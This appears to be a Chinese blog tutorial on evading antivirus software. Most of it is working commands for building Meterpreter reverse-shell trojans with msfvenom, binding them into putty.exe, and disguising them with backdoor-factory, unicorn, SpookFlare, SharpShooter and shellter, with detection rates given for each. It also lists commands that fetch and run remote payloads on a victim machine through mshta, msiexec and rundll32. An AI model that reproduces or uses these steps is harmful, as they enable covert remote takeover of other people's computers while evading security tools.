0
点赞
收藏
分享

微信扫一扫

免杀技术以及木马处理

读思意行 2022-03-18 阅读 30
网络安全

免杀

如果需要深入了解     相关知识补充: 破解、二进制、逆向工程

本次用到的病毒绕过检测网站:

杀毒软件原理:

1.扫描技术:  扫描压缩包:对压缩包内容进行分析检查

2.程序篡改防护:避免感染文件

3.修复技术:  对受损文件进行还原

4.急救盘杀毒:  利用空白的u盘制作进行杀毒

5.智能扫描:扫描常用磁盘和系统关键位置

6.全盘扫描:所有地方都扫描

7.勒索软件防护:保护电脑文件不被加密

8.开机扫描:扫描可能不需要的程序

9.监控技术:  内存监控:监控内存,进程,网络数据

10.文件监控:发现文件存在病毒或者被感染报警

11.邮件监控:电子邮件病毒拦截

12.网页防护:阻止网络攻击和不安全的下载

13.行为防护:提醒用户应用程序可疑的行为

提前安装的工具:

安装wine32

dpkg --add-architecture i386 && apt update && apt -y install wine32

安装pip

wget https://bootstrap.pypa.io/2.6/get-pip.py
python2 get-pip.py
apt-get install python3-pip
pip install --upgrade pip -i https://pypi.douban.com/simple

普通木马   免杀检测结果:56/71

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.144 lport=4444 -f exe -o shell.exe

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.144
set lport 4444
show options
exploit

msf自带免杀  免杀检测结果:55/71

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.144 lport=4444 -e x86/shikata_ga_nai -b "\x00" -i 15 -f exe -o shell.exe

msf捆绑免杀   免杀检测结果:44/71

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.144 lport=4444 -x putty.exe -f exe -o shell.exe

msf自带免杀+捆绑     免杀检测结果:45/70

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.144 lport=4444 -e x86/shikata_ga_nai -x putty.exe -i 15 -f exe -o shell.exe

工具1:backdoor-factory

github搜索关键词:backdoor factory

原理:把木马插入到代码的缝隙中 则可以在程序执行的同时执行木马

进入文件夹

chmod 777 ./*
./install.sh
pip install pefile -i https://pypi.douban.com/simple pefile
pip install pefile -i https://pypi.douban.com/simple capstone

 

查看这个程序是否支持插入代码
python backdoor.py -f /root/putty.exe -S
查找程序里大于600的缝隙
python backdoor.py -f /root/putty.exe -c -l 600
获取文件可用的payload
python backdoor.py -f /root/putty.exe -s show

生成payload

1.reverse_shell_tcp_inline  免杀测试:26/70
python backdoor.py -f /root/putty.exe -s reverse_shell_tcp_inline -H 192.168.1.144 -P 4444 -J -o haha.exe

2.用户自己做的木马(木马是msf生成的一个c语言木马 捆绑的是putty.exe程序 监听就可以用msf去上线了)   免杀结果:48/71
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.144 lport=4444 -f raw -o shell.c
python backdoor.py -f /root/putty.exe -s user_supplied_shellcode_threaded -U /root/shell.c -o haha.exe

工具2:unicorn  独角兽

cd unicorn-master/
chmod 777 ./*
python unicorn.py --help

免杀效果: 6/59

python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.144 4444
//生成2个文件,rc文件(msf监听的代码)和txt文件(攻击代码)(txt文件可以变成bat文件去执行)
msfconsole -r xxx.rc    //此时就相当于msf中的监听了

工具3:spookflare

安装python依赖库

pip install -i https://pypi.douban.com/simple -r requirements.txt

cd SpookFlare-master/
chmod 777 ./*
python spookflare.py
help

list
use X   //x为显示的具体的数字选项
info   //可以查看需要配置的内容
set PROTO http
set LHOST 192.168.1.144
set LPORT 8080
set ARCH x64
set SSIZE 61337
generate   //生成载荷/木马 格式为cs 需要进行编译才能执行

工具4:sharpshooter

安装python依赖库

pip install -i https://pypi.douban.com/simple -r requirements.txt

cd SharpShooter-master/
chmod 777 ./*
python SharpShooter.py
// python SharpShooter.py --help   可以看到代码提示

1.首先需要生成一个txt格式的木马

msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=192.168.1.144 LPORT=4444 -f raw -o shellcode.txt

2.创建hta后门

python SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./shellcode.txt --sandbox 4 --smuggle --template mcafee
//会生成两个文件  一个是html格式 一个是hta格式

3.开启msf的监听功能

msfconsole
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.144
set lport 4444
exploit  //开始监听

4.木马的执行与上线

可以通过外网的www目录下放这个hta文件 然后通过本地去远程执行相应的文件即可上线
mshta.exe http://192.168.1.252/foo.hta

msf创建hta程序

msfconsole
use exploit/windows/misc/hta_server
show options
set srvhost [你自己ip/服务器的ip地址]
set lhost [你自己的主机ip]
exploit
会给你一个url网址

用户可以在cmd下输入如下命令隔空执行上线:

mshta.exe http://xxxxxx/xxx.hta

hta木马的免杀结果:29/61

工具5:shellter

apt-get install shellter
shellter   //kali直接输入这个即可进入

根据图形界面的提示配置相应的木马 此处例如选择reverse_tcp

免杀率:41/71

Eable Stealth Mode可以no,不然效果会差一点

免杀率:39/70

监听方式:

msfconsole
handler -H 192.168.1.144 -P 4444 -p windows/meterpreter/reverse_tcp   //快速监听的代码

msi执行的木马

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.144 lport=4444 -f msi > haha.txt

下载完的haha.txt放到连接外网的服务器的www目录下

msiexec /q /i http://192.168.1.252/haha.txt  //用户cmd下远程执行的命令

免杀率:35/58

dll执行的木马 (风险性和exe文件差不多)

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.144 lport=4444 -f dll > haha.dll
下载完的haha.dll放到连接外网的服务器的www目录下
// C:\Windows\SysWOW64\rundll32.exe       在这个目录下打开cmd
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";document.write();GetObject("script:http://192.168.1.252/haha.dll")   //用户cmd下远程执行的命令
免杀率: 54/70

工具6:shellcode-launcher

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.144 lport=4444 -f raw -o shell.raw
目标主机需要有shellcode-launcher这个程序
shellcode_launcher.exe --help
shellcode_launcher.exe -i shell.raw   //用户cmd执行这个代码即可成功上线
免杀率: 24/59

举报

相关推荐

0 条评论